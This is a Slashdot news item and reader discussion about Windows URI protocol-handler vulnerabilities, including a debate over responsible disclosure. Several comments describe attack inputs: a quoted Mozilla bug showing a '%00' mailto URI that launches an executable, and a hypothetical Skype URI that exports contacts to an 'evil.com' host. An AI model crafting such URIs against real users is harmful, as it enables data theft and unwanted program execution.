×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

New URI Browser Flaws Worse Than First Thought

samzenpus posted more than 6 years ago | from the bad-to-worse dept.

Security 149

narramissic writes "URI (Uniform Resource Identifier) bugs have become a hot topic over the past month, since researcher Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox. Now, security researchers Billy Rios and Nathan McFeters say they've discovered a number of ways attackers could misuse the URI protocol handler technology to steal data from a victim's computer. 'It is possible through the URI to actually steal content form the user's machine and upload that content to a remote server of the attacker's choice,' said McFetters, a senior security advisor for Ernst & Young Global Ltd. 'This is all through functionality that the application provides.'"

cancel ×
This is a preview of your comment

No Comment Title Entered

Anonymous Coward 1 minute ago

No Comment Entered

149 comments

The one-liner that kills you (0)

Anonymous Coward | more than 6 years ago | (#20246713)

Interesting that URIs can be used to seal information. One line.

Re:The one-liner that kills you (-1, Redundant)

Anonymous Coward | more than 6 years ago | (#20246971)

Interesting that URIs can be used to seal information. One line.

The news is that they can be used to steal information, too.

Re:The one-liner that kills you (-1, Redundant)

Anonymous Coward | more than 6 years ago | (#20247269)

Interesting that URIs can be used to seal information. One line.

This exact comment has already been posted. Try to be more original...

Re:The one-liner that kills you (-1, Offtopic)

Anonymous Coward | more than 6 years ago | (#20247709)

you mean

his exac commen has already been posed. ry o be more original...

captcha : placer.
don't know what to make of this one

Web 2.0 developers have betrayed us all (0, Troll)

Anonymous Coward | more than 6 years ago | (#20246733)

And this is the end result of their hubris.

AJAX is a hack sat on top of a 15 year legacy of hacks, and ultimately serves no purpose other than giving the 'delicious generation' something to drool at.

Re:Web 2.0 developers have betrayed us all (5, Insightful)

Phroggy (441) | more than 6 years ago | (#20246759)

And this is the end result of their hubris.

AJAX is a hack sat on top of a 15 year legacy of hacks, and ultimately serves no purpose other than giving the 'delicious generation' something to drool at.
I know I shouldn't feed the trolls, but... you're a fool. This has nothing to do with AJAX or Web 2.0, this has to do with exploiting security holes that have probably been around for over a decade. But more than that: yes, AJAX is useful. When used properly, it can allow you to build a web site that is more powerful and easy-to-use than anything you could do without AJAX. Slashdot's new AJAX-based comment system is definitely an improvement, for example.

Re:Web 2.0 developers have betrayed us all (1, Insightful)

Anonymous Coward | more than 6 years ago | (#20246959)

AJAX is only useful because people are trying to use HTTP and HTML in ways that HTTP and HTML weren't meant to be used. It's not clever anymore, now it's just stupid.

Slashdot's new AJAX-based comment system is definitely an improvement, for example.

That doesn't add much to your argument. I liked the old interface better. Maybe next we can argue about whether blue or orange is the better color.

Re:Web 2.0 developers have betrayed us all (4, Funny)

MrNaz (730548) | more than 6 years ago | (#20247043)

Yea, that'd be pointless. Blue wins hands down.

Re:Web 2.0 developers have betrayed us all (0)

Anonymous Coward | more than 6 years ago | (#20247215)

not with AJAX it don't

Re:Web 2.0 developers have betrayed us all (4, Interesting)

DrSkwid (118965) | more than 6 years ago | (#20247219)

> AJAX is only useful because people are trying to use HTTP and HTML in ways that HTTP and HTML weren't meant to be used.

Using non idempotent GET / HEAD methods is poor programming but the purpose of HTTP is to share data using these methods http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.h tml [w3.org]
HTTPXmlRequests should use those methods as described. It's not the fault of the technology,

HTML/CSS is a display technology, I'm not sure how using it to display things is abuse of its intent.

These flaws don't need XmlHttprequest, is also likely to be a vector

Re:Web 2.0 developers have betrayed us all (2, Interesting)

Anonymous Coward | more than 6 years ago | (#20247457)

No, there is a connection to AJAX: The promise of Web 2.0 is to turn the web browser into an application host. It used to be a browser for information provided by others. It has become a framework for entering and organizing personal information. The security model of a web browser is very fragile and not at all adequate for an application which handles personal data. Everybody flogged Microsoft for trying to merge the desktop and the browser, because that creates an unmanageable mess. Now the web 2.0 crowd goes down the same path, only they don't store the data locally but put it on servers, which makes securing the data even more complicated. This particular bug does not exploit an AJAX bug, but it became possible only because the browser has become the central application on many desktops and users and developers alike found it necessary to integrate it with other applications that handle personal information. It got integrated in ways that are not acceptable for an application which has a network connection.

Anti-MS Zealotry betrays us all (0)

Anonymous Coward | more than 6 years ago | (#20248691)

Remember all those people who whine and complain about IE not following their arbitrary standards? Seems like MS doing things right rather than listening to the fools in the standards bodies has protected users of the most stable and most used browser (and now by far the most secure browser).

Standards can be a good thing, but only when you have everyone doing things the right way. All these chumps push is having everyone do things the stupid way... but they are more interested in making MS do what they say than they are in innovation. Or security.

Re:Anti-MS Zealotry betrays us all (1)

Magic5Ball (188725) | more than 6 years ago | (#20249375)

From the article (and not mentioned at all in the summary for some reason):

'These URI issues are complicated, even for software developers. Mozilla Corp. initially thought that Larholm's bug needed Internet Explorer in order to be triggered, but this assessment turned out to be wrong, and two weeks later the Firefox team was forced to patch the same problem. "If an organization like Mozilla is having issues with understanding how a URI handler increases the scope and the attack surface of their applications, think about how hard it is for a small development shop," McFetters said.

Microsoft is working to educate users and developers about these security issues, but there's only so much that it can do, said Mark Griesi, a security program manager with Microsoft.'

Oh my (4, Informative)

zmotula (663798) | more than 6 years ago | (#20246749)

There is not a SINGLE technical detail about the bug in the article. The first paragraph pretty much says it all:

Security researchers Billy Rios and Nathan McFeters say they've discovered a new way that the URI (Uniform Resource Identifier) protocol handler technology, used by Windows to launch programs through the browser, can be misused to steal data from a victim's computer.

It is impossible to say whether this bug is really exploitable, whether it matters at all. So far they ("security researchers") can be only getting a free publicity. Is this news for nerds?

Re:Oh my (0)

Anonymous Coward | more than 6 years ago | (#20246859)

First, it's not a bug, it's a feature.

There is no need for a specific example because it's the whole concept of custom URI handlers that is a security nightmare. It's another one of those ideas which I'm sure seemed good a the time though nobody thought ten seconds about the obvious security issues.

The right thing to do now is to disable that feature by default and accept that people are going to whine for a while because their ed2k: URIs don't work anymore and they have to manually start their softwares (oh, the humanity!).

Re:Oh my (1, Insightful)

Anonymous Coward | more than 6 years ago | (#20246923)

it's the whole concept of custom URI handlers that is a security nightmare
Why?

The implementation may be flawed, but I see nothing about the concept itself that opens itself up to attack.
Sure, you could have a fuckmenow: protocol that launches a keylogger and starts sending data somewhere - but the keylogger would have to be installed, and would have to have registered the custom URI. If it can do that, it can fuck you in so many more ways that don't need the browser.

Re:Oh my (2, Informative)

MrNaz (730548) | more than 6 years ago | (#20247059)

It's because the whole idea of launching apps on the user's computer with whatever parameters one wants is really, only one step away from executing arbitrary code.

Think
callto://skypeuser?some&params&that&induce&sending &contacts&someone&else

Or something similar. I think the MS guy shouldn't have said "We at MS don't think we should be responsible for this" as it sounds like they *could* do something if they wanted. He really should have said "We can't stop stupid software makers being stupid. We can do bugger all about this." It's not often MS can legitimately pass the security buck, I'm surprised they didn't ride it for all it's worth this time.

Re:Oh my (0)

Anonymous Coward | more than 6 years ago | (#20247963)

We can't stop stupid software makers being stupid. We can do bugger all about this.

Some of it can't be stopped, some of it like the %00 bug breaks their own documentation and should be.

What's really needed is for anyone who registers a url: handler to recognize that anything could be passed to them by anyone when they click on it. If their commandline accepts options that are even possibly remotely dangerous, then they should implement the -- "nothing after here is an option" option, and use it in their handler.

Re:Oh my (1)

nagora (177841) | more than 6 years ago | (#20248209)

it's the whole concept of custom URI handlers that is a security nightmare

Why?

Because the more protocols your browser handles the less likely you are to know what's strange behaviour. The user gets a "learnt helplessness" response and just clicks on "OK" - or the equivilent - when they don't recognise what's happening because they've become used to not recognising what's happening.

A web browser should ONLY handle HTTP. Not FTP, not sFTP, not POP3, IMAP, or SMTP, not BitTorrent, not RealPlay, etc etc. By all means launch external programs to handle such things, which will hopefully alert the user to something happening, but hiding all these non-web-browsing activities from the user is a phisher's dream.

Re:Oh my (1)

SkunkPussy (85271) | more than 6 years ago | (#20248677)

I think you miss the point - the entire security risk IS when the web browser launches another application.

Re:Oh my (1)

nagora (177841) | more than 6 years ago | (#20248807)

I think you miss the point - the entire security risk IS when the web browser launches another application.

I was thinking more in terms of applications having a GUI, but on reflection it would be better to not allow your browser to do anything with non-http links.

TWW

Re:Oh my (1)

jkrise (535370) | more than 6 years ago | (#20246945)

There is not a SINGLE technical detail about the bug in the article. The first paragraph pretty much says it all

If you actually read through till the last para, you ill note that the bug has something to do with Microsoft, Registry, Internet Explorer and registering programs.

Re:Oh my (1)

Sponge Bath (413667) | more than 6 years ago | (#20248479)

... something to do with Microsoft, Registry, Internet Explorer

That unholy trinity does not give me a warm and fuzzy feeling.

Re:Oh my (5, Informative)

Intron (870560) | more than 6 years ago | (#20248863)

mozilla bug 389580

"On Windows XP some urls for "web" protocols that contain %00 launch the wrong
handler and appear to be able to launch local programs, with limited argument
passing. It is not yet clear that this can be used to compromise a machine but
we can always fear the worst.

The same behavior is observed using "Run" from the Windows Start menu for the
affected protocols (http, https, ftp, gopher, telnet, mailto, news, snews,
nttp, possibly others?).

The behavior seems to be that if there's a %00 in the URL for these schemes
then the URL Protocol handler is not called, instead the FileType handler is
called based on the extension of the full url. The url is then passed to that
File handler. For "non-web" URL handlers the URL is passed to the expected
handler.

In Firefox browser protocols are handled internally so are not vulnerable, but
the mailnews protocols are handed off to the OS and can be abused in this way."

====
So you can construct a uri like: "mailto:/...%00...something.exe"
Firefox sees mailto and hands it to Windows to give it to the mail program
Windows sees %00 and mistakenly hands it to the FileType handler.
The FileType handler sees ".exe" and runs the program.

Re:Oh my (0)

Anonymous Coward | more than 6 years ago | (#20249177)

That was the old bug. The article is about using the URI handler facility as designed, without exploiting implementation bugs, and still getting access to personal data.

Re:Oh my (3, Insightful)

hanshotfirst (851936) | more than 6 years ago | (#20247073)

There is not a SINGLE technical detail about the bug in the article.
That's on purpose - they don't want their article to give hackers any real direction on how to exploit it. From TFA..."Rios and McFetters plan to release the results of their research after the vendor has had a chance to fix the problem".

Yes, this is news for nerds - I know I'll be avoiding the URI protocol cautiously, if at all. I am duly informed. (Of course a real nerd would have known this already, so I have to turn in my card, I guess.)

Nothing to gripe about here - move along.

Re:Oh my (3, Informative)

martin-boundary (547041) | more than 6 years ago | (#20247247)

That's on purpose - they don't want their article to give hackers any real direction on how to exploit it.
Sorry, but that's bullshit. Anyone can say they discovered an exploit, heck I discovered 14 just today while brushing my teeth :)

The only thing that happens when people "claim" to have discovered an exploit without proof is that a lot of gullible people start panicking and unscrupulous reporters and bloggers who'll propagate the rumour for weeks. It's like yelling "fire" in a crowded room.

If they really have an exploit, they should just share it or STFU. There's enough garbage information on the internet as is, there's no need for them to the dung pile.

Re:Oh my (3, Insightful)

CaymanIslandCarpedie (868408) | more than 6 years ago | (#20247721)

Patience grasshopper, details will be released soon enough. Their method of reporting seems to be becoming kind of an accepted best practice for "responsible reporting" of bugs. I fully support ones right to just release day 0 exploit sample code if they so choose, though I don't think it's the best idea. It seems notifying the makers of effected software at roughly same time as releasing very high level information about the exploit is becoming the best way to both avoid in the wild attacks as well as ensure the issue is addressed.

In this case, additional researchers have even verified the issue after the initial report. If you still don't believe there is an issue (fair enough it's good to be skeptical), you can always do a tad of research into these researches history to help decide if you think they are trustworthy or not. If still that isn't enough, well then I guess you'll have to just find these issues yourself and you can publish anything you want about them. Until then the researchers who find an issue should have the right to handle it any way they choose. They don't answer to you.

It's like yelling "fire" in a crowded room.

Seems more like they are more warning that there is a pile of debris in the room which could be a fire hazard. You suggestion would be more like noticing that fire hazard and deciding to dump gas on it and then toss on a match.

Re:Oh my (2, Insightful)

martin-boundary (547041) | more than 6 years ago | (#20248089)

Why should the onus be on others to check their work for them? Can't they check their own work before making an announcement?

It's very nice of them if they want to give the vendors time to fix their software, but they should announce their results _after_ the patch is ready in that case. Announcing early and claiming "responsible reporting" while not explaining enough for users to protect themselves is a publicity stunt.

Here's a few things that I think are wrong with the "responsible reporting" idea: it publically slanders software products without proof. It causes people to worry about undisclosed threats which may or may not affect them. It turns security research into a hype game where advisories must be taken on faith rather than fact.

These problems go away if the researchers either announce with proof ASAP, or if they announce once a patch is ready.

/2 cents.

Re:Oh my (3, Interesting)

CaymanIslandCarpedie (868408) | more than 6 years ago | (#20248343)

These problems go away if the researchers either announce with proof ASAP, or if they announce once a patch is ready.

I don't think either of those suggestions are "bad", just that sadly they have historically had thier own issues which at least in many peoples opinions outway the gains of those methods.

"announce with proof ASAP" - sadly history shows that when this is done unscrupulous people will then take that knowledge and use it to create malware which can cause MAJOR damage. This is why there has been talk of even making this illegal (which I COMPLETELY disagree with). It is true that "with proof" a tiny percentage of the computer using population will be able to avoid the issue. However, the VAST majority still won't even hear of the issue (as they don't follow such news) let alone know what to do about it. The result is hackers are given the gift of complete knowledge of an exploit which many millions of computers and users will have no defense against.

"announce once a patch is ready" - again sadly it has been shown over and over again that many (if not most) products will not put the urgency into a security fix unless there is public pressure to do so. This has certainly improved greatly over the last decade, but I still don't think we are at a point where we can trust them on this without pressure.

There is a fairly popular variation on your second idea which is to notify the software developer but don't announce until you have given them reasonable time to patch it. This will give them the chance to do the "right thing" on thier own without the public pressure but researchers can still release the information later if they feel the patch is too long in coming.

I actually do prefer that option, but there is the arguement that a company will never feel quite the sense of urgency as they would when an overview of the issue hits the media. And it follows that then the patch will take longer and someone less than altruistic could also find the same issue in the mean time and release an exploit.

I don't have a real strong preference between the options of notify the software developers first and wait a reasonable amount of time, or notify and release high level overview at the same time. I'd actually probably have a slight preference for the former, but it does seem the later is the more popular. Probably for the reasons you give, that they want to be sure they are given the credit (and attention) of the find ;-)

Re:Oh my (2, Insightful)

MikeBabcock (65886) | more than 6 years ago | (#20248105)

You don't need to provide a working example to explain the details. They could be saying something like:

if you've installed vulnerable 3rd party url handlers, clicking malformed urls could lead to exploits
in which case I don't care at all.

I'm sure there are people who install 3rd party URL handlers as willy nilly as they install free screensavers and weather applets, but I don't, and neither should they, so again, I don't care.

If on the other hand they're saying there's a URI parsing error in major browsers that is itself exploitable, that's different. Details are important. You could yell "fire" in a crowded theatre because you saw someone light a lighter, and you wouldn't be lying, but you left out a few good details.

Re:Oh my (3, Interesting)

Opportunist (166417) | more than 6 years ago | (#20247083)

I have a working example here on my desk. The problem is it's so effing trivial that it's not even funny. Unlike buffer overflows or other exploits that at least require some kind of understanding, this requires a trained monkey who can use a keyboard.

I'm usually all for the spread of information, but this has the potential to be a scriptkiddy's wet dream. And as I've stated before, I don't fear the hacker, I fear the scriptkiddy. Not because he's smart, but because he's many and he drowns you simply with quantity, not quality.

Care to provide details? (1)

brunes69 (86786) | more than 6 years ago | (#20247589)

Is your "working example" remotely installable?

I am anxious to see how these guys plan to remotely install a URI handler into the registry without any user intervention, unless they are using some other remote exploit, in which case THAT is the actual bug.

Re:Care to provide details? (2, Insightful)

Anonymous Coward | more than 6 years ago | (#20247775)

For those living under a rock: Many applications, including Firefox, install URI handlers by default. Many applications, including Firefox, have no or insufficient safeguards against dangerous URIs which are passed to them that way. Many applications, which render arbitrary remote data, can activate URI handlers with arbitrary URIs, often with no or trivial user interaction. If you think that is fine, you shouldn't dispense security advice.

Re:Care to provide details? (1)

Alphager (957739) | more than 6 years ago | (#20247869)

The thing is: URIs are handled by the OS (in this case : Windows). It does not matter if you use Firefox, Internet Explorer, Word or OpenOffice: They all use the system's URI-handler.

Re:Care to provide details? (0)

Anonymous Coward | more than 6 years ago | (#20248031)

So Windows offers a facility for registering and calling URI handlers. That doesn't mean that applications should accept any strange URI through that facility, or use that facility at all. If you accept dangerous URIs, you can't accept them from anywhere. If you accept URIs from everywhere, you have to make sure they're not dangerous. It's hard to get that right, which makes the whole URI handler concept dangerous.

Re:Oh my (3, Informative)

Fred_A (10934) | more than 6 years ago | (#20247339)

There is not a SINGLE technical detail about the bug in the article.
Except that this is (yet again) a Windows only problem, a fact which the summary could have pointed out thus saving me the effort of browsing the article (and having to kill that stupid ad iframe I couldn't even close).

Re:Here it is (1)

SolitaryMan (538416) | more than 6 years ago | (#20247873)

This is the clear indication of problem being a Windows only:

...Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox.

Guess what is this mysterious "browser" thing.

Re:Here it is (1)

Fred_A (10934) | more than 6 years ago | (#20249315)

This is the clear indication of problem being a Windows only:

...Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox.


Guess what is this mysterious "browser" thing.

Are you trying to subtly imply that it isn't Opera ? Why I am shocked ! ;)

Re:Oh my (1)

KE1LR (206175) | more than 6 years ago | (#20248671)

Aha, the missing piece!


1:Find ad popup code that can't be killed easily.
2:Claim to Slashdot that you've discovered a trivial but really nasty browser exploit that nobody knows about, and provide a link to an article that says the same thing.
3:Watch your ad views rack up.
4:Profit!

It's the Usual M$ Sabotage and FUD. (1, Insightful)

twitter (104583) | more than 6 years ago | (#20248767)

Important details have been obscured on purpose to FUD Mozilla. I'm surprised they bothered to point out it's Windoze only in the first paragraph, but here's the glaring part of the FUD:

Microsoft is working to educate users and developers about these security issues, but there's only so much that it can do, said Mark Griesi, a security program manager with Microsoft. "Security is an industry responsibility and this is certainly a case of that [principle]," he said. "It's not Microsoft's position to be the gatekeeper of all third-party applications."

Yet, we know that this problem was created by IE7 [slashdot.org] and does not show up on Mac or gnu/linux. Par for the course, create a problem and then blame the victim. Where have we seen this kind of M$ attack before? All over, and court proved in the anti-trust case and also in the DRDOS case [slashdot.org].

Not anonymous!!!!!! (0, Offtopic)

brindafella (702231) | more than 6 years ago | (#20246755)

I am NOT anonymous!!! And, perhaps the first to say so!!!!

Re:Not anonymous!!!!!! (0)

Anonymous Coward | more than 6 years ago | (#20247111)

I am NOT brindafella!!! And, perhaps the first to say so!!!!

Re:Not anonymous!!!!!! (1)

Mathinker (909784) | more than 6 years ago | (#20247257)

I am NOT sure you're NOT brindafella!!! And, perhaps, this makes your post all the funnier!!!!

FTA: (4, Insightful)

tygerstripes (832644) | more than 6 years ago | (#20246765)

By using these custom URI protocol names, software developers are trying to make lives easier for their customers.
The article also states that this is a "hacker's dream and a programmer's nightmare".

When a similar problem kicked off with the firefox:// protocol in IE all anyone could say was "Why the hell would anyone use this?" The answer seemed to be along the lines of "Nobody does - it was a stupid thing to include in the first place."

Sounds like the same problem to me - and unnecessary and unsuitable solution to a non-existent problem causing far worse problems. As the proverb goes: if it ain't broke, don't start shoe-horning new and unsecured protocol-handling into the registry.

Re:FTA: (0)

Anonymous Coward | more than 6 years ago | (#20247459)

Can't we just have a browser that does... browsing? No fancy JS, Java, VMs, or whatever.
The Gopher:// times really were good for something.

Re:FTA: (0)

Anonymous Coward | more than 6 years ago | (#20247551)

Just turn those goddamn things off in Firefox if you want to be a fucking Luddite, and shut the fuck up.

Re:FTA: (1)

Skrynesaver (994435) | more than 6 years ago | (#20248925)

Lynx is still available, still maintained and I rarely need to pull the images down to get the details i require.
A picture is worth a thousand words, even with jpeg compression

Re:FTA: (2, Interesting)

a.d.trick (894813) | more than 6 years ago | (#20248765)

Nobody does - it was a stupid thing to include in the first place

First off, it was called firefoxurl://. Second, it is used - by Windows. This is part of what is required when registering a browser on that OS. It's pretty important if you want to set Firefox as the default browser.

Oh yeah. (1)

twitter (104583) | more than 6 years ago | (#20248843)

if it ain't broke, don't start shoe-horning new and unsecured protocol-handling into the registry.

Because we all know what a tight machine M$ gave us without help from firefox [slashdot.org]. Wake me up when this is more than a Windoze problem.

News? (4, Interesting)

Opportunist (166417) | more than 6 years ago | (#20246779)

"It's a hacker's dream and programmer's nightmare," said Eric Schultze, chief security architect with Shavlik Technologies LLC. "I think over the next six to nine months, hackers are going to find lots of ways to exploit standard applications to do non-standard functions."

That's not news. That's old. Actually it's nothing but a change in the ancient URL/URI trick where you trick the user into believing a link sends him somewhere else (akin to something like this: http://www.microsoft.com [gentoo.org]).

The new part is that the URL/URI contains malformed links. Links, that don't just take you somewhere or offer you a torrent, but links that exploit a bug in your application. But it will hit the same group of people: Clickmonkeys who don't know what they're doing in the first place.

Re:News? (5, Funny)

ozmanjusri (601766) | more than 6 years ago | (#20246927)

Actually it's nothing but a change in the ancient URL/URI trick where you trick the user into believing a link sends him somewhere else (akin to something like this: www.microsoft.com.

Thanks dude!

I installed that update to XP, and now my computer runs like a dream. Microsoft finally got it right!

Re:News? (3, Funny)

Opportunist (166417) | more than 6 years ago | (#20247025)

You should check out their new browser too, at IE7.com [ie7.com]. It's really amazing! I don't know what they did, but even the exploits that should work on Internet Explorer 7 don't!

Re:News? (1)

iogan (943605) | more than 6 years ago | (#20248631)

Actually it's nothing but a change in the ancient URL/URI trick where you trick the user into believing a link sends him somewhere else (akin to something like this: www.microsoft.com.

Thanks dude! I installed that update to XP, and now my computer runs like a dream. Microsoft finally got it right!
Me too! It took most of the weekend, but it was well worth it... :)

Re:News? (1)

walt-sjc (145127) | more than 6 years ago | (#20246943)

When you hover over your example link, it shows where you are really going.

When you use Evil JavaScript(tm) you can REALLY fuck with the user, who will have NO idea where the link goes, which is why tools like NoScript are so important. Don't surf naked - use NoScript [noscript.net]. Don't get me wrong, javascript can be useful, but so many sites use it gratuitously. They use it for things like roll-over highlighting, when CSS does it cleaner with less code. Most sites I visit seem to use javascript now. Less than half actually need it as NoScript has proven.

Re:News? (1)

Opportunist (166417) | more than 6 years ago | (#20247069)

JS is mostly used as a gadget to "enhance" a site (read: Make it so flashy that nobody notices the lack of content). Like so many other technologies that clutter our pages today.

Take Flash. Yes, it can actually be put to good use. Pages have used it to really increase the usability and accessability of the content. But most just use it to create a flashy show to hide the lack of content or meaning.

And yes, noscript and other security tools are important. But until this gets through to the clickmonkeys, it will be a very good way to get malware spread. It's just like mail. Mail is currently still the main delivery route for malware, but this starts to decline. More and more people get aware that their "invoice.pdf" is actually an "invoice.pdf.exe" and that it's probably not a good idea to open any kind of content sent to you. I can see it very well in the amount of malware and its source that runs past my desk. Until about 6 months, a good 80% of malware came actually out of mails. We're down to about 50 by now. In a year, mail might only play a minor role in malware distribution, simply because finally everyone realized that clicking on those attachments is a bad idea.

So new spreading routines surface. Mail was just chosen because it's such a simple way. All you needed was a botnet (or renting one) and you could sensibly assume some good penetration. Malware creators do check the "success" of their spreading methods, and they realized a decline. So new roads have to be found. Spreading through webpages and links is harder, but also currently more rewarding. Few people use noscript. Few people even know that a link can be a threat (compared to the amount of people that know in the meantime that an attachment can be a threat, virtually nobody knows about the link threat). So it's a very rewarding way of spreading.

What can be done? The usual. Reconfigure your honeypots, start creating site harvesting tools, inform the users.

Re:News? (1)

borawjm (747876) | more than 6 years ago | (#20249239)

Clickmonkeys who don't know what they're doing in the first place.

When porn is involved, clicking is usually irrational. Just think about that time you drank to much and had a questionable hookup (okay, I know this is /. but bare with me). Now apply that to porn browsing and you may find yourself booting up your computer one day and saying, "Man, what the hell did I click last night?"



Responsible application launching (5, Interesting)

JosefAssad (1138611) | more than 6 years ago | (#20246783)

Some of the discussion around this issue revolves around URI validation. Given that third parties can assign their own handlers, I don't think it's the browser's job to validate URIs, but it can provide the facilities to do so.

It would probably just be simpler to disable this functionality by default; I suspect not many people are really using their browser to launch other applications or do much beyond straightforward browsing (you konqueror people are something completely different!), or at least not to any meaningful extent. Where they are, some form of URI whitelist could do the job.

I don't think browsers are going to stop being capable of launching applications overnight; I fully acknowledge that a lot of enterprise systems rely on this. But it can certainly be done more responsibly.

Re:Responsible application launching (1)

Opportunist (166417) | more than 6 years ago | (#20247105)

I don't think browsers are going to stop being capable of launching applications overnight

Then how about letting me, the user, decide? Instead of simply activating everything, ask me whether I want a certain application to launch? I think I remember seeing something like this in a browser, forgot which one it was... FF, I think.

Re:Responsible application launching (1)

Constantine XVI (880691) | more than 6 years ago | (#20247275)

In Opera:<br>
click on a "special" link, like <URL:ed2k://|file|ubuntu-7.04-desktop-i386.[conten t.emule-project.net].iso|731797504|E239215147FA03E 5DB3D6C816291BFCA|/> (If you look at that URI, it's for an ed2k download of Ubuntu 7.04)<br>
Opera says: "Would you like to open $PROGRAM to use this link?"

Re:Responsible application launching (0, Redundant)

Goaway (82658) | more than 6 years ago | (#20247585)

Yes, because asking "Would you like to open Firefox to use this link?" is such a clear indication that your system is about to be hacked.

Re:Responsible application launching (1)

betterunixthanunix (980855) | more than 6 years ago | (#20247977)

Really? Because I use Konqueror's URI handlers for all of this: sftp, zip, tar, http, https, and ftp, and they are all useful. The problem with the Windows URI bug is that it allows an attacker to launch arbitrary programs, even programs without registered URI handlers, by passing arguments to certain registered programs (at least that is how I understand this vulnerability). It would be like using one of my KDE URI handlers to open a terminal; a malicious website could use that to start executing random commands on my system.

The difference is that most Windows users are running as administrator, so an attacker could use this vulnerability to install something bad like a keystroke logger or some sort of worm, whereas they could only corrupt my home directory. This is just another example of why you shouldn't run as a superuser on a system connected to a public network...or any system at all.

Re:Responsible application launching (1)

archen (447353) | more than 6 years ago | (#20248571)

Agreed, this is an extremely handy feature - especially when you consider the implications for integration with other applications. I created a database to track things on our network which worked pretty well. But then doing support remotely got to be a bit tedious since I would have to look up the info, cut and paste the computer name into $program, and so on. Now I can add handlers in firefox like rdesktop:// and vnc:// that allow it to fully integrate into a simple system.

Better protections would be good, but I'd hate to see this functionality simply removed.

A "Harry Potter" moment? (-1, Offtopic)

brindafella (702231) | more than 6 years ago | (#20246797)

When I read this it brought me back to the "Harry Potter" moment I had when I finished the most recent book. What do you do if your life is so hum-drum that there is no prospect that 19 years later you'd be even looking at the outside chance of doing something significant? Ah. Write a book, an e-book, a blog, or a... COMMENT! Some things seem not to change.

And, perhaps, that is the story of the URI.

Microsoft do it again (-1, Offtopic)

Anonymous Coward | more than 6 years ago | (#20246821)

Yet another innovative feature from Microsoft.

Re:Microsoft do it again (1, Funny)

MrNaz (730548) | more than 6 years ago | (#20247075)

Hey numbnuts, I know this is /. but there is nothing that MS can do to help this, nor anything they can do to mitigate the harm. Cut it out with the vitriol. You idiots have such double standards and it's starting to make me sick. When MS does it, it gets labeled FUD. When you do it it gets labeled +1 Insightful. I mean FFS, lets cut out the crap. Now go ahead. Mod me down. I got karma to burn. Fuckers.

Re:Microsoft do it again (0)

Anonymous Coward | more than 6 years ago | (#20248009)

"You idiots have such double standards and it's starting to make me sick."

Patient: Doctor, doctor! It hurts when I raise my arm.
Doctor: Then don't raise your arm.

Re:Microsoft do it again (3, Informative)

Anonymous Coward | more than 6 years ago | (#20248275)

Don't forget Mac and Linux. The ability to register a custom protocol handler to launch programs in the OS is standard. The ability to reference said protocol handler in a hyperlink is also standard. These problems effect every (major) OS.

MacOSX has had a number of vulnerabilities due to URI handling:

Daring Fireball - Using the 'telnet' URI Protocol to Delete Files [daringfireball.net]
Mac OS X Volume URI Handler Registration Code Execution Vulnerability [secunia.com]
Apple Mac OS X SSH URI Handler Remote Code Execution Vulnerability [securityfocus.com]

As long as you can get a browser to pass arbitrary data to an application you will be vulnerable. What needs to happen is that the custom protocol handlers should be white-listed by default requiring the user to explicitly allow a new protocol handler. Any protocol handler not handled directly by the browser should display a dialog to inform the user of the action and permit them to cancel it. The user needs to be aware that they're not clicking on a "normal" hyperlink.

Ultimately I think the only way to really mitigate these kinds of security problems is to sandbox or virtualize the browser, which is actually what MS has done with IE7 in Vista. Vulnerabilities are inevitable so the OS and browser should do what it can to limit the extent of the damage that can be caused.

Re:Microsoft do it again (1)

crumley (12964) | more than 6 years ago | (#20248895)

What do you consider to be the Linux standard for registering URI schemes in? Mailcap? Facilities specific to KDE or Gnome, like those provided in Konqueoror? Or Firefox's helper application registration?

I don't think Linux is immune to this sort of problem, but it seems like this is one place where the diversity of the desktop on Linux helps quite a bit. I am having a hard time coming up with a realistic way for this to be a problem for a user who runs Windowmaker or FVWM and doesn't install software from really odd sources.

What is the OS coverage? (0, Redundant)

pembo13 (770295) | more than 6 years ago | (#20246843)

If this only works on Windows, then I feel fairly secure; I rarely keep important files on my Windows machine. If this works in Linux, then I'll have to leave Firefox off for awhile.

Re:What is the OS coverage? (1)

mabinogi (74033) | more than 6 years ago | (#20246957)

"It" doesn't work anywhere, because "it" is nothing but random speculation that an application that has registered a URI handler _might_ have a bug in it.
Sure, that's a pretty reasonable assumption, but it's idiotic to blame it on the URI handler stuff, the web browser, or the operating system.

If there is such a bug in an application that has registered a custom URI, then any fault for any bug that may or may not exist lies squarely with the makers of that application.

The title of this submission has nothing whatsoever to do with TFA.

Re:What is the OS coverage? (5, Interesting)

IBBoard (1128019) | more than 6 years ago | (#20247149)

Only it's not that the application may have a bug, but that it may have an intentional feature that is useful for users that can then be exploited through a link. It might have less security than it should, but that's poor planning and not a bug.

Take someone's earlier example of Skype. Lets assume you can do "skype --export-contacts --dest /some/path/here". Nice and useful for when you're migrating settings on your own desktop. Now assume that Skype also lets you export to your website so that you can publish it to your site, so you can put a HTTP in there. Now assume that users have complained about popups prompting them and that they want a batch mode that lets them export each night to make sure they never lose data - so it doesn't prompt.

You'd now have something like "skype --export-contacts --dest http://www.example.com/mybackupscript [example.com] --batch-mode". It does exactly what you want, you can archive your contacts, and you can event do it overnight to a remote location so it's accessible to you from anywhere and won't be lost in a disk crash. Only someone didn't secure it very well (again, bad implementation, not a bug) and someone somehow gets you to click on a link saying "skype:export-contacts&dest=http://www.evil.com/my backupscript&batch-mode". That 'feature' is now being exploited to export your contacts to an arbitrary site without you even necessarily knowing.

I'm sure there are lots of other similar alternatives, but the whole point is that it's badly validated input and not a bug. It's fairly sensible to have "skype:call-userid" as a link so that you can run up Skype and call someone. What it's not sensible to do is let that URI call do anything that can be done locally.

Re:What is the OS coverage? (0)

Anonymous Coward | more than 6 years ago | (#20248307)

but the whole point is that it's badly validated input and not a bug.

Call me crazy, but isn't that just semantic nonsense? A program not validating input would seem like a bug to me...

Re:What is the OS coverage? (1)

aziraphale (96251) | more than 6 years ago | (#20248365)

